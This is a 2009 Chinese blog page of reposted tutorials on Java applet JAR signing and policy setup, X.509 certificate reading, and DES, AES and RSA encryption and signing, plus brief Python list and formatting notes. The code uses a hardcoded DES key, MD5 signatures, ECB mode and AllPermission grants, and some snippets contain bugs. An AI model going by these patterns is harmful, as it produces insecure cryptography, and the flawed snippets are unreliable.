  的地址,你要设定的密码等等,都由自己的随便写。            
  3.使用刚才生成的钥匙来对jar文件进行签名  
  命令如下:  
      jarsigner     -keystore     monitor.keystore     monitor.jar   monitor  
            这个命令将对monitor.jar文件进行签名,不会生成新文件。                    
  4.将公共钥匙导入到一个cer文件中,这个cer文件就是要拷贝到客户端的唯一文件   。  
  命令如下:  
  keytool     -export     -keystore     monitor.keystore   -alias   monitor     -file     monitor.cer  
                  此条命令将生成monitor.cer认证文件,当然这几步都有可能问你刚  
  才设置的密码。  
  这样就完成了服务器端的设置。这时你就可以将jar文件和keystore文件以及cer文件(我这儿是monitor.jar,monitor.keystore,monitor.cer)拷贝到服务器的目录下了,我用的是Tomcat,所以就拷贝到C:\JBuilder8\thirdparty\jakarta-tomcat-4.1.12-LE-jdk14\webapps\ROOT下的自己建的一个目录下了。    
       
  二、客户端:  
  1.         首先应该安装2re-1_4_1_03-windows-i586-i,然后将服务器端生成的monitor.cer  
  文件拷贝到jre的特定目录下,我这儿是:  
  C:\Program   Files\Java\j2re1.4.1_03\lib\security目录下。  
  2.         将公共钥匙倒入到jre的cacerts(这是jre的默认keystore)  
  命令如下:  
      keytool     -import     -alias   monitor   -file     monitor.cer      
  -keystore     cacerts  
        注意这儿要你输入的是cacerts的密码,应该是changeit,而不  
  是你自己设定的keystore的密码。  
  3.         修改policy策略文件,在dos状态下使用命令     policytool  
  系统会自动弹出一个policytool的对话框,如图4所示,在这里面首先选择file菜单的open项,  
  打开C:\Program   Files\Java\j2re1.4.1_03\lib\security目录下的java.poliy文件,然后在edit菜单中选择Change   keystore   ,在对话框中new   keystore   url:中输入  
  file:/   C:/Program   Files/Java/j2re1.4.1_03/lib/security/cacerts,  
  这儿要注意反斜杠,在new   keystore   type   中输入JKS,这是cacerts的固定格式,然后单击Add   Policy   Entry,在出现的对话框中CodeBase中输入:  
            http://168.168.1.202:8080/*  
  其中的168.168.1.202是我服务器的IP地址,8080是我的Tomcat的端口,如果你是在别的应用服务器上比如说是apache,那端口号就可以省略掉。  
  在SignedBy中输入(别名alias):这儿是Monitor  
  然后单击add   peimission按钮,在出现的对话框中permission中选择你想给这个applet的权限,这儿具体有许多权限,读者可以自己找资料看看。我这儿就选用allpeimission,右边的signedBy中输入别名:monitor  
  最后保存,在file菜单的save项。  
    当然你可以看见我已经对多个包实现了签名认证。  
   
   
  看需要可以选择设不设置客户端.

posted @ 2009-05-19 16:40 九宝 阅读(218) | 评论 (0)编辑 收藏

java数字签名(签名生成,用证书验证签名) (转)

转载序:网上找的好文章,一篇就把我找了几天的所有东西都概括进来了,真是非常感谢作者:李素科  其实在找资料的过程当中,主要没解决的问题在于如何获得KeyStore文件中的PrivateKey,本来查jsdk 1.4 api文档就可以知道了,但是居然从上到下看了2遍,没有发现这个方法:load()  .......)
                                                                                                                                                   
证书(Certificate,也称public-key certificate)是用某种签名算法对某些内容(比如公钥)进行数字签名后得到的、可以用来当成信任关系中介的数字凭证。证书发行机构通过发行证书告知证书使用者或实体其公钥(public-key)以及其它一些辅助信息。证书在电子商务安全交易中有着广泛的应用,证书发行机构也称CA(Certificate Authority)。

应用证书



证书在公钥加密应用中的作用是保证公钥在某些可信的机构发布,其在协议SSL、电子交易协议SET等方面有重要的应用。图1显示了一个最简单的证书应用方法:



图1 证书应用方法



证书的应用步骤是:

(1) A把自己的公钥PKA送到CA(Certificate Authority);

(2) CA用自己的私钥和A的公钥生成A的证书,证书内包括CA的数字签名。签名对象包括需要在证书中说明的内容,比如A的公钥、时间戳、序列号等,为了简化这里不妨假设证书中只有三项内容:A的公钥PKA、时间戳TIME1、序列号IDA。那么CA发送给A的简单证书凭证可表达为:CertA=Eca[TIME1,IDA,PKA];

(3) B同样把自己的公钥PKB送到CA;

(4) B得到CA发布的证书CertB;

(5) A告知B证书CertA;

(6) B告知A证书CertB。

A、B各自得到对方证书后,利用从CA得到的公钥(在CA的自签证书中)验证彼此对方的证书是否有效,如果有效,那么就得到了彼此的公钥。利用对方的公钥,可以加密数据,也可以用来验证对方的数字签名。

本文为了方便说明,并没有使用从CA获得的证书,而是通信双方各自产生自签证书,也就是说图1的A和B并没有经过CA,不过前提是A和B之间是互相拥有对方的证书。

证书的内容和意义如表1所示(这里以通用X .509证书格式为例)。

表1 证书内容和意义


证书内容 意义
Version 告诉这个X.509证书是哪个版本的,目前有v1、V2、v3
Serial Number 由证书分发机构设置证书的序列号
Signature Algorithm Identifier 证书采用什么样的签名算法
Issuer Name 证书发行者名,也就是给这个证书签名的机构名
Validity Period 证书有效时间范围
Subject Name 被证书发行机构签名后的公钥拥有者或实体的名字,采用X.500协议,在Internet上的标志是惟一的。例如:CN=Java,OU=Infosec,O=Infosec Lab,C=CN表示一个subject name。



对证书的详细定义及其应用相关的各种协议,这里不加详细说明,详细细节请查看RFC2450、RFC2510、RFC2511、RFC2527、RFC2528、RFC2559、RFC2560、RFC2585、RFC2587等文档。

生成自签证书



个人或机构可以从信任的证书分发机构申请得到证书,比如说,可以从http://ca.pku.edu.cn 得到一个属于个人的证书。这里可以利用J2SDK的安全工具keytool手工产生自签证书,所谓自签证书是指证书中的“Subject Name”和“Issuer Name”相同的证书。

下面产生一个自签证书。安装完J2SDK(这里用的是J2SDK1.4)后,在J2SDK安装目录的bin目录下,有一个keytool的可执行程序。利用keytool产生自签证书的步骤如下:

第一步,用-genkey命令选项,产生公私密钥对。在控制台界面输入:keytool -genkey -alias testkeypair -keyalg RSA -keysize 1024 -sigalg MD5withRSA。这里的-alias表示使用这对公私密钥产生新的keystore入口的别名(keystore是用来存放管理密钥对和证书链的,缺省位置是在使用者主目录下,以.keystore为名的隐藏文件,当然也可指定某个路径存放.keystore文件);-keyalg是产生公私钥对所用的算法,这里是RSA;-keysize定义密钥的长度;-sigalg是签名算法,选择MD5withRSA,即用RSA签名,然后用MD5哈希算法摘要。接下来,系统会提示进行一些输入:

输入keystore密码:  abc123
            您的名字与姓氏是什么?
            [Unknown]:  Li
            您的组织单位名称是什么?
            [Unknown]:  InfosecLab
            您的组织名称是什么?
            [Unknown]:  InfosecLab Group
            您所在的城市或区域名称是什么?
            [Unknown]:  Beijing
            您所在的州或省份名称是什么?
            [Unknown]:  Beijing
            该单位的两字母国家代码是什么
            [Unknown]:  CN
            CN=Li, OU=InfosecLab, O=InfosecLab Group, L=Beijing, ST=Beijing, C=CN 正确吗?
            [否]:  y
            输入<testkeypair>的主密码 (如果和 keystore 密码相同,按回车):


第二步,产生自签证书,输入以下命令:

keytool -selfcert -alias testkeypair -dname "CN=Li, OU=InfosecLab, O=InfosecLab
            Group, L=Beijing, ST=Beijing, C=CN"
            输入keystore密码:  abc123


第三步,导出自签证书,由上面两步产生的证书,已经存放在以“testkeypair”为别名的keystore入口了,如果使用其文件,必须导出证书。输入:

keytool -export -rfc -alias testkeypair -file mycert.crt
            输入keystore密码:  abc123
            保存在文件中的认证 <mycert.crt>


这样,就得到了一个自签的证书mycert.crt。注意,选项rfc是把证书输出为RFC1421定义的、用Base64最终编码的格式。

读取证书



Java为安全应用提供了丰富的API,J2SDK1.4 的JSSE (JavaTM Secure Socket Extension) 包括javax.security.certificate包,并且提供对证书的操作方法。而对证书的读操作,只用java.security.cert. CertificateFactory和java.security.cert.X509Certificate就可以了。下面是读取证书内容的部分代码:

import javax.swing.*;
            import java.awt.*;
            import java.awt.event.*;
            import javax.swing.table.*;
            import java.security.cert.CertificateFactory;
            import java.security.cert.X509Certificate;
            import java.io.*;
            public class CARead extends JPanel {
            private String CA_Name;
            private String CA_ItemData[][] = new String[9][2];
            private String[] columnNames = {"证书字段标记","内容" };
            public CARead(String CertName) {
            CA_Name=CertName;
            /* 三个Panel用来显示证书内容*/
            JTabbedPane tabbedPane = new JTabbedPane();
            JPanel panelNormal = new JPanel();
            tabbedPane.addTab("普通信息", panelNormal);
            JPanel panelAll=new JPanel();
            panelAll.setLayout(new BorderLayout());
            tabbedPane.addTab("所有信息",panelAll);
            JPanel panelBase64=new JPanel();
            panelBase64.setLayout(new BorderLayout());
            tabbedPane.addTab("Base64编码信息",panelBase64);
            /* 读取证书常规信息 */
            Read_Normal(panelNormal);
            /* 读取证书文件字符串表示内容 */
            Read_Bin(panelAll);
            /* 读取证原始Base64编码形式的证书文件 */
            Read_Raw(panelBase64);
            tabbedPane.setSelectedIndex(0);
            setLayout(new GridLayout(1, 1));
            add(tabbedPane);
            }
            /*以下是定义的Read_Normal(),Read_Bin(),Read_Raw()以及main()
            这里省略...   */
            }


定义证书信息的读取函数如下:

private int Read_Normal(JPanel panel){
            String Field;
            try{
            CertificateFactory certificate_factory=CertificateFactory.getInstance("X.509");
            FileInputStream file_inputstream=new FileInputStream(CA_Name);
            X509Certificate
            x509certificate=(X509Certificate)certificate_factory.generateCertificate
            (file_inputstream);
            Field=x509certificate.getType();
            CA_ItemData[0][0]="类型";
            CA_ItemData[0][1]=Field;
            Field=Integer.toString(x509certificate.getVersion());
            CA_ItemData[1][0]="版本";
            CA_ItemData[1][1]=Field;
            Field=x509certificate.getSubjectDN().getName();
            CA_ItemData[2][0]="标题";
            CA_ItemData[2][1]=Field;
            /* 以下类似,这里省略
            Field=x509certificate.getNotBefore().toString();得到开始有效日期
            Field=x509certificate. getNotAfter().toString();得到截止日期
            Field=x509certificate.getSerialNumber().toString(16);得到序列号
            Field=x509certificate.getIssuerDN().getName();得到发行者名
            Field=x509certificate.getSigAlgName();得到签名算法
            Field=x509certificate.getPublicKey().getAlgorithm();得到公钥算法 */
            file_inputstream.close();
            final JTable table = new JTable(CA_ItemData, columnNames);
            TableColumn tc=null;
            tc = table.getColumnModel().getColumn(1);
            tc.setPreferredWidth(600);
            panel.add(table);
            }catch(Exception exception){
            exception.printStackTrace();
            return -1;
            }
            return 0;
            }


如果以字符串形式读取证书,加入下面Read_Bin这个函数。其中CertificateFactory.generateCertificate() 这个函数可以从证书标准编码(RFC1421定义)中解出可读信息。Read_Bin函数代码如下:

private int Read_Bin(JPanel panel){
            try{
            FileInputStream file_inputstream=new FileInputStream(CA_Name);
            DataInputStream data_inputstream=new DataInputStream(file_inputstream);
            CertificateFactory certificatefactory=CertificateFactory.getInstance("X.509");
            byte[] bytes=new byte[data_inputstream.available()];
            data_inputstream.readFully(bytes);
            ByteArrayInputStream bais=new ByteArrayInputStream(bytes);
            JEditorPane Cert_EditorPane;
            Cert_EditorPane=new JEditorPane();
            while(bais.available()>0){
            X509Certificate
            Cert=(X509Certificate)certificatefactory.generateCertificate(bais);
            Cert_EditorPane.setText(Cert_EditorPane.getText()+Cert.toString());
            }
            Cert_EditorPane.disable();
            JScrollPane edit_scroll=new JScrollPane(Cert_EditorPane);
            panel.add(edit_scroll);
            file_inputstream.close();
            data_inputstream.close();
            }catch( Exception exception){
            exception.printStackTrace();
            return -1;
            }
            return 0;
            }


如果要得到原始证书编码后的信息,则可用如下代码:

private int Read_Raw(JPanel panel){
            try{
            JEditorPane Cert_EditorPane=new JEditorPane();
            String CertText=null;
            File inputFile = new File(CA_Name);
            FileReader in = new FileReader(inputFile);
            char[] buf=new char[2000];
            int len=in.read(buf,0,2000);
            for(int i=1;i<len;i++)
            {
            CertText=CertText+buf[i];
            }
            in.close();
            Cert_EditorPane.setText(CertText);
            Cert_EditorPane.disable();
            JScrollPane edit_scroll=new JScrollPane(Cert_EditorPane);
            panel.add(edit_scroll);
            }catch( Exception exception){
            exception.printStackTrace();
            return -1;
            }
            return 0;
            }


最后用这个小程序看一看刚才生成的证书mycert.crt内容,把文件名写入main()中:

public static void main(String[] args) {
            JFrame frame = new JFrame("证书阅读器");
            frame.addWindowListener(new WindowAdapter() {
            public void windowClosing(WindowEvent e) {System.exit(0);}
            });
            frame.getContentPane().add(new CARead("mycert.crt"),BorderLayout.CENTER);
            frame.setSize(700, 425);
            frame.setVisible(true);
            }


证书mycert.crt的内容显示如图2所示,所有信息和Base64的显示内容,这里不再列举。



 

图2 证书mycert.crt的内容显示
 
现在已经读取了证书的一些内容,那么怎样使用证书呢?我们可以假设A和B要共享一个绝密的文件F,B信任并拥有A的证书,也就是说B拥有A的公钥。那么A通过A和B共知的加密算法(对称密钥算法,比如DES算法)先加密文件F,然后对加密后的F进行签名和散列摘要(比如MD5算法,目的是保证文件的完整性),然后把F发送到B。B收到文件后,先用A的证书中的公钥验证签名,然后再用通过共知的加密算法解密,就可以得到原文件了。这里使用的数字签名,可以保证B得到的文件,就是A的,A不能否认其不拥有文件F,因为只有A拥有可以让A的公钥验证其签名的私钥,同时这里使用DES算法加密,使得文件有保密性。

使用DES算法的加密解密函数类似,这里不对加密算法做进一步讨论,详细请看J2SDK的JSE部分内容,加密签名、解密验证文件结构见图3。



图3 加密签名、解密验证文件结构图


加密函数中的desKeyData存放DES加密密钥,如果要在程序中指定,可以设置为:

static byte[] desKeyData = { (byte)0x01, (byte)0x02, (byte)0x03, (byte)0x04,
            (byte)0x05, (byte)0x06, (byte)0x07, (byte)0x08 };


加密函数写成:

public static void crypt(byte[] cipherText,String outFileName){
            try{
            DESKeySpec desKeySpec = new DESKeySpec(desKeyData);
            SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
            SecretKey secretKey = keyFactory.generateSecret(desKeySpec);
            Cipher cdes = Cipher.getInstance("DES");
            cdes.init(Cipher.ENCRYPT_MODE, secretKey);
            byte[] ct = cdes.doFinal(cipherText);
            try{
            FileOutputStream out=new FileOutputStream(outFileName);
            out.write(ct);
            out.close();
            }catch(IOException e){
            e.printStackTrace();
            }
            }catch (Exception e){
            e.printStackTrace();
            }
            }


其中ct就是加密后的内容,outFileName保存加密后文件的文件名。把cdes.init(Cipher.ENCRYPT_MODE, secretKey)换成cdes.init(Cipher.DECRYPT_MODE, secretKey)就是解密文件了。

文件加密后就要对文件签名,保证A发送到B的文件不可伪造。下面是用存放在.keystore中的私钥进行签名的函数,签名使用的摘要算法是MD5。其中sigText是被签名内容的输入数组,outFileName是保存签名后输出文件的名称,KeyPassword是读取Keystore使用的密码,KeyStorePath是存放.keystore文件的路径,函数代码如下:

public static void sig(byte[] sigText, String outFileName,String
            KeyPassword,String KeyStorePath){
            char[] kpass;
            int i;
            try{
            KeyStore ks = KeyStore.getInstance("JKS");
            FileInputStream ksfis = new FileInputStream(KeyStorePath);
            BufferedInputStream ksbufin = new BufferedInputStream(ksfis);
            kpass=new char[KeyPassword.length()];
            for(i=0;i<KeyPassword.length();i++)
            kpass[i]=KeyPassword.charAt(i);
            ks.load(ksbufin, kpass);
            PrivateKey priv = (PrivateKey) ks.getKey(KeystoreAlias,kpass );
            Signature rsa=Signature.getInstance("MD5withRSA");
            rsa.initSign(priv);
            rsa.update(sigText);
            byte[] sig=rsa.sign();
            System.out.println("sig is done");
            try{
            FileOutputStream out=new FileOutputStream(outFileName);
            out.write(sig);
            out.close();
            }catch(IOException e){
            e.printStackTrace();
            }
            }catch(Exception e){
            e.printStackTrace();
            }
            }


验证签名需要存放签名文件和被签名的文件以及证书,其中,updateData存放被签名文件的内容,sigedText存放得到的签名内容,CertName是证书名。验证签名代码如下:

public static void veriSig(byte[] updateData, byte[] sigedText){
            try{
            CertificateFactory
            certificatefactory=CertificateFactory.getInstance("X.509");
            FileInputStream fin=new FileInputStream(CertName);
            X509Certificate
            certificate=(X509Certificate)certificatefactory.generateCertificate(fin);
            PublicKey pub = certificate.getPublicKey();
            Signature rsa=Signature.getInstance("MD5withRSA");
            rsa.initVerify(pub);
            rsa.update(updateData);
            boolean verifies=rsa.verify(sigedText);
            System.out.println("verified "+verifies);
            if(verifies){
            System.out.println("Verify is done!");
            }else{
            System.out.println("verify is not successful");
            }
            }catch(Exception e){
            e.printStackTrace();
            }
            }


可以用keytool产生两个自签的签名证书,或者到某个CA去申请两个证书。用Java编写加密和验证程序,上述例子只是一个非常简单的证书应用,实际协议对证书的使用(比如SSL)要比这个复杂多了。

posted @ 2009-05-19 16:30 九宝 阅读(473) | 评论 (0)编辑 收藏

Java加密和数字签名编程快速入门(转)

Java加密和数字签名编程快速入门


本文主要谈一下密码学中的加密和数字签名,以及其在java中如何进行使用。对密码学有兴趣的伙伴,推荐看Bruce Schneier的著作:Applied Crypotography。在jdk1.5的发行版本中安全性方面有了很大的改进,也提供了对RSA算法的直接支持,现在我们从实例入手解决问题(本文仅是作为简单介绍):

 本文主要谈一下密码学中的加密和数字签名,以及其在java中如何进行使用。对密码学有兴趣的伙伴,推荐看Bruce Schneier的著作:Applied Crypotography。在jdk1.5的发行版本中安全性方面有了很大的改进,也提供了对RSA算法的直接支持,现在我们从实例入手解决问题(本文仅是作为简单介绍):

  一、密码学上常用的概念 

  1)消息摘要:

  这是一种与消息认证码结合使用以确保消息完整性的技术。主要使用单向散列函数算法,可用于检验消息的完整性,和通过散列密码直接以文本形式保存等,目前广泛使用的算法有MD4、MD5、SHA-1,jdk1.5对上面都提供了支持,在java中进行消息摘要很简单, java.security.MessageDigest提供了一个简易的操作方法:

  1. /**
  2. *MessageDigestExample.java
  3. *Copyright 2005-2-16
  4. */
  5. import java.security.MessageDigest;
  6. /**
  7. *单一的消息摘要算法,不使用密码.可以用来对明文消息(如:密码)隐藏保存
  8. */
  9. public class MessageDigestExample{
  10.  public static void main(String[] args) throws Exception{
  11.   if(args.length!=1){
  12.    System.err.println("Usage:java MessageDigestExample text");
  13.    System.exit(1);
  14.   }
  15.   byte[] plainText=args[0].getBytes("UTF8");
  16.   //使用getInstance("算法")来获得消息摘要,这里使用SHA-1的160位算法
  17.   MessageDigest messageDigest=MessageDigest.getInstance("SHA-1");
  18.   System.out.println("\n"+messageDigest.getProvider().getInfo());
  19.   //开始使用算法
  20.   messageDigest.update(plainText);
  21.   System.out.println("\nDigest:");
  22.   //输出算法运算结果
  23.   System.out.println(new String(messageDigest.digest(),"UTF8"));
  24.  }
  25. }
还可以通过消息认证码来进行加密实现,javax.crypto.Mac提供了一个解决方案,有兴趣者可以参考相关API文档,本文只是简单介绍什么是摘要算法。

  2)私钥加密:

  消息摘要只能检查消息的完整性,但是单向的,对明文消息并不能加密,要加密明文的消息的话,就要使用其他的算法,要确保机密性,我们需要使用私钥密码术来交换私有消息。

  这种最好理解,使用对称算法。比如:A用一个密钥对一个文件加密,而B读取这个文件的话,则需要和A一样的密钥,双方共享一个私钥(而在web环境下,私钥在传递时容易被侦听):

  使用私钥加密的话,首先需要一个密钥,可用javax.crypto.KeyGenerator产生一个密钥(java.security.Key),然后传递给一个加密工具(javax.crypto.Cipher),该工具再使用相应的算法来进行加密,主要对称算法有:DES(实际密钥只用到56位),AES(支持三种密钥长度:128、192、256位),通常首先128位,其他的还有DESede等,jdk1.5种也提供了对对称算法的支持,以下例子使用AES算法来加密:

  1. /**
  2. *PrivateExmaple.java
  3. *Copyright 2005-2-16
  4. */
  5. import javax.crypto.Cipher;
  6. import javax.crypto.KeyGenerator;
  7. import java.security.Key;
  8. /**
  9. *私鈅加密,保证消息机密性
  10. */
  11. public class PrivateExample{
  12.  public static void main(String[] args) throws Exception{
  13.   if(args.length!=1){
  14.    System.err.println("Usage:java PrivateExample <text>");
  15.    System.exit(1);
  16.   }
  17.   byte[] plainText=args[0].getBytes("UTF8");
  18.   //通过KeyGenerator形成一个key
  19.   System.out.println("\nStart generate AES key");
  20.   KeyGenerator keyGen=KeyGenerator.getInstance("AES");
  21.   keyGen.init(128);
  22.   Key key=keyGen.generateKey();
  23.   System.out.println("Finish generating DES key");
  24.   //获得一个私鈅加密类Cipher,ECB是加密方式,PKCS5Padding是填充方法
  25.   Cipher cipher=Cipher.getInstance("AES/ECB/PKCS5Padding");
  26.   System.out.println("\n"+cipher.getProvider().getInfo());
  27.   //使用私鈅加密
  28.   System.out.println("\nStart encryption:");
  29.   cipher.init(Cipher.ENCRYPT_MODE,key);
  30.   byte[] cipherText=cipher.doFinal(plainText);
  31.   System.out.println("Finish encryption:");
  32.   System.out.println(new String(cipherText,"UTF8"));
  33.   System.out.println("\nStart decryption:");
  34.   cipher.init(Cipher.DECRYPT_MODE,key);
  35.   byte[] newPlainText=cipher.doFinal(cipherText);
  36.   System.out.println("Finish decryption:");
  37.   System.out.println(new String(newPlainText,"UTF8"));
  38.  }
  39. }

3)公钥加密:

  上面提到,私钥加密需要一个共享的密钥,那么如何传递密钥呢?web环境下,直接传递的话很容易被侦听到,幸好有了公钥加密的出现。公钥加密也叫不对称加密,不对称算法使用一对密钥对,一个公钥,一个私钥,使用公钥加密的数据,只有私钥能解开(可用于加密);同时,使用私钥加密的数据,只有公钥能解开(签名)。但是速度很慢(比私钥加密慢100到1000倍),公钥的主要算法有RSA,还包括Blowfish,Diffie-Helman等,jdk1.5种提供了对RSA的支持,是一个改进的地方:
  1. /**
  2. *PublicExample.java
  3. *Copyright 2005-2-16
  4. */
  5. import java.security.Key;
  6. import javax.crypto.Cipher;
  7. import java.security.KeyPairGenerator;
  8. import java.security.KeyPair;
  9. /**
  10. *一个简单的公鈅加密例子,Cipher类使用KeyPairGenerator生成的公鈅和私鈅
  11. */
  12. public class PublicExample{
  13.  public static void main(String[] args) throws Exception{
  14.   if(args.length!=1){
  15.    System.err.println("Usage:java PublicExample <text>");
  16.    System.exit(1);
  17.   }
  18.   byte[] plainText=args[0].getBytes("UTF8");
  19.   //构成一个RSA密钥
  20.   System.out.println("\nStart generating RSA key");
  21.   KeyPairGenerator keyGen=KeyPairGenerator.getInstance("RSA");
  22.   keyGen.initialize(1024);
  23.   KeyPair key=keyGen.generateKeyPair();
  24.   System.out.println("Finish generating RSA key");
  25.   //获得一个RSA的Cipher类,使用公鈅加密
  26.   Cipher cipher=Cipher.getInstance("RSA/ECB/PKCS1Padding");
  27.   System.out.println("\n"+cipher.getProvider().getInfo());
  28.   System.out.println("\nStart encryption");
  29.   cipher.init(Cipher.ENCRYPT_MODE,key.getPublic());
  30.   byte[] cipherText=cipher.doFinal(plainText);
  31.   System.out.println("Finish encryption:");
  32.   System.out.println(new String(cipherText,"UTF8"));
  33.   //使用私鈅解密
  34.   System.out.println("\nStart decryption");
  35.   cipher.init(Cipher.DECRYPT_MODE,key.getPrivate());
  36.   byte[] newPlainText=cipher.doFinal(cipherText);
  37.   System.out.println("Finish decryption:");
  38.   System.out.println(new String(newPlainText,"UTF8"));
  39.  }
  40. }


4)数字签名:

  数字签名,它是确定交换消息的通信方身份的第一个级别。上面A通过使用公钥加密数据后发给B,B利用私钥解密就得到了需要的数据,问题来了,由于都是使用公钥加密,那么如何检验是A发过来的消息呢?上面也提到了一点,私钥是唯一的,那么A就可以利用A自己的私钥进行加密,然后B再利用A的公钥来解密,就可以了;数字签名的原理就基于此,而通常为了证明发送数据的真实性,通过利用消息摘要获得简短的消息内容,然后再利用私钥进行加密散列数据和消息一起发送。java中为数字签名提供了良好的支持,java.security.Signature类提供了消息签名:

  1. /**
  2. *DigitalSignature2Example.java
  3. *Copyright 2005-2-16
  4. */
  5. import java.security.Signature;
  6. import java.security.KeyPairGenerator;
  7. import java.security.KeyPair;
  8. import java.security.SignatureException;
  9. /**
  10. *数字签名,使用RSA私钥对对消息摘要签名,然后使用公鈅验证 测试
  11. */
  12. public class DigitalSignature2Example{
  13.  public static void main(String[] args) throws Exception{
  14.   if(args.length!=1){
  15.    System.err.println("Usage:java DigitalSignature2Example <text>");
  16.    System.exit(1);
  17.   }
  18.   byte[] plainText=args[0].getBytes("UTF8");
  19.   //形成RSA公钥对
  20.   System.out.println("\nStart generating RSA key");
  21.   KeyPairGenerator keyGen=KeyPairGenerator.getInstance("RSA");
  22.   keyGen.initialize(1024);
  23.   KeyPair key=keyGen.generateKeyPair();
  24.   System.out.println("Finish generating RSA key");
  25.   //使用私鈅签名
  26.   Signature sig=Signature.getInstance("SHA1WithRSA");
  27.   sig.initSign(key.getPrivate());
  28.   sig.update(plainText);
  29.   byte[] signature=sig.sign();
  30.   System.out.println(sig.getProvider().getInfo());
  31.   System.out.println("\nSignature:");
  32.   System.out.println(new String(signature,"UTF8"));
  33.   //使用公鈅验证
  34.   System.out.println("\nStart signature verification");
  35.   sig.initVerify(key.getPublic());
  36.   sig.update(plainText);
  37.   try{
  38.    if(sig.verify(signature)){
  39.     System.out.println("Signature verified");
  40.    }else System.out.println("Signature failed");
  41.    }catch(SignatureException e){
  42.     System.out.println("Signature failed");
  43.    }
  44.   }
  45. }
 5)数字证书。

  还有个问题,就是公钥问题,A用私钥加密了,那么B接受到消息后,用A提供的公钥解密;那么现在有个讨厌的C,他把消息拦截了,然后用自己的私钥加密,同时把自己的公钥发给B,并告诉B,那是A的公钥,结果....,这时候就需要一个中间机构出来说话了(相信权威,我是正确的),就出现了Certificate Authority(也即CA),有名的CA机构有Verisign等,目前数字认证的工业标准是:CCITT的X.509:
数字证书:它将一个身份标识连同公钥一起进行封装,并由称为认证中心或 CA 的第三方进行数字签名。

  密钥库:java平台为你提供了密钥库,用作密钥和证书的资源库。从物理上讲,密钥库是缺省名称为 .keystore 的文件(有一个选项使它成为加密文件)。密钥和证书可以拥有名称(称为别名),每个别名都由唯一的密码保护。密钥库本身也受密码保护;您可以选择让每个别名密码与主密钥库密码匹配。

  使用工具keytool,我们来做一件自我认证的事情吧(相信我的认证):

  1、创建密钥库keytool -genkey -v -alias feiUserKey -keyalg RSA 默认在自己的home目录下(windows系统是c:\documents and settings\<你的用户名> 目录下的.keystore文件),创建我们用 RSA 算法生成别名为 feiUserKey 的自签名的证书,如果使用了-keystore mm 就在当前目录下创建一个密钥库mm文件来保存密钥和证书。

  2、查看证书:keytool -list 列举了密钥库的所有的证书

  也可以在dos下输入keytool -help查看帮助。


二、JAR的签名


  我们已经学会了怎样创建自己的证书了,现在可以开始了解怎样对JAR文件签名,JAR文件在Java中相当于 ZIP 文件,允许将多个 Java 类文件打包到一个具有 .jar 扩展名的文件中,然后可以对这个jar文件进行数字签名,以证实其来源和真实性。该 JAR 文件的接收方可以根据发送方的签名决定是否信任该代码,并可以确信该内容在接收之前没有被篡改过。同时在部署中,可以通过在策略文件中放置访问控制语句根据签名者的身份分配对机器资源的访问权。这样,有些Applet的安全检验访问就得以进行。

  使用jarsigner工具可以对jar文件进行签名:

  现在假设我们有个Test.jar文件(可以使用jar命令行工具生成):

  jarsigner Test.jar feiUserKey (这里我们上面创建了该别名的证书) ,详细信息可以输入jarsigner查看帮助

  验证其真实性:jarsigner -verify Test.jar(注意,验证的是jar是否被修改了,但不检验减少的,如果增加了新的内容,也提示,但减少的不会提示。)

  使用Applet中:<applet code="Test.class" archive="Test.jar" width="150" height="100"></applet>然后浏览器就会提示你:准许这个会话-拒绝-始终准许-查看证书等。

  三、安全套接字层(SSL Secure Sockets Layer)和传输层安全性(TLS Transport Layer Security)

  安全套接字层和传输层安全性是用于在客户机和服务器之间构建安全的通信通道的协议。它也用来为客户机认证服务器,以及(不太常用的)为服务器认证客户机。该协议在浏览器应用程序中比较常见,浏览器窗口底部的锁表明 SSL/TLS 有效:

  1)当使用 SSL/TLS(通常使用 https:// URL)向站点进行请求时,从服务器向客户机发送一个证书。客户机使用已安装的公共 CA 证书通过这个证书验证服务器的身份,然后检查 IP 名称(机器名)与客户机连接的机器是否匹配。

  2)客户机生成一些可以用来生成对话的私钥(称为会话密钥)的随机信息,然后用服务器的公钥对它加密并将它发送到服务器。服务器用自己的私钥解密消息,然后用该随机信息派生出和客户机一样的私有会话密钥。通常在这个阶段使用 RSA 公钥算法。

  3)客户机和服务器使用私有会话密钥和私钥算法(通常是 RC4)进行通信。使用另一个密钥的消息认证码来确保消息的完整性。

  java中javax.net.ssl.SSLServerSocketFactory类提供了一个很好的SSLServerSocker的工厂类,熟悉Socket编程的读者可以去练习。当编写完服务器端之后,在浏览器上输入https://主机名:端口 就会通过SSL/TLS进行通话了。注意:运行服务端的时候要带系统环境变量运行:javax.net.ssl.keyStore=密钥库(创建证书时,名字应该为主机名,比如localhost)和javax.net.ssl.keyStorePassword=你的密码

原文: http://www.yesky.com/253/1911753.shtml

posted @ 2009-05-19 16:21 九宝 阅读(214) | 评论 (0)编辑 收藏

Python- 映射 list

>>>params={'s':'sv','a':'av','b':'bv'}
>>>params.keys()
['a', 's', 'b']
>>>params.values()
['av', 'sv', 'bv']
>>>params.items()
[('a', 'av'), ('s', 'sv'), ('b', 'bv')]
>>>[k for k,v in params.items()]
['a', 's', 'b']
>>>[v for k,v in params.items()]
['av', 'sv', 'bv']
>>>["%s=%s" % (k,v) for k,v in params.items()]
['a=av', 's=sv', 'b=bv']

posted @ 2009-05-14 11:57 九宝 阅读(240) | 评论 (0)编辑 收藏

Python study -格式化字符串

字符串格式化与字符串连接的比较

>>>count =6
>>>print "count is %d" % (count,)
count is 6
>>>
print "count is %s" % (count,)
count is 6
>>>
print "count is %f" % (count,)
count is 6.000000
>>>
print "count is %.2f" % (count,)
count is 6.00
>>>
print "count is " +count
Traceback (most recent call last):
  File "<console>", line 1, in <module>
TypeError: cannot concatenate 'str' and 'int' objects

posted @ 2009-05-14 11:50 九宝 阅读(244) | 评论 (0)编辑 收藏

Python study- List extend() and append()

1. list extend (扩展) 与 append (追加) 的差别
>>>li=['a','b']
>>>li.extend(['c','d'])
>>>li
['a', 'b', 'c', 'd']
>>>li.append(['e','f'])
>>>li
['a', 'b', 'c', 'd',['e','f']]

2. 搜索 搜索 list
>>>li.index('b')
>>>li
1

3. List 运算符+ 和 ×
>>> li = ['a', 'b']
>>> li = li + ['example', 'new'] 
>>> li
['a', 'b', 'example', 'new']
>>> li += ['two']              
>>> li
['a', 'b', 'example', 'new', 'two']
>>> li = [1, 2] * 3      
>>> li
[1, 2, 1, 2, 1, 2]


4.何谓 Python 中的 True
·0为false;   其它所有数值皆为 true。
·空串 ("") 为false;  其它所有字符串皆为 true。
·空list ([])为false;  其它所有字符串皆为 true。
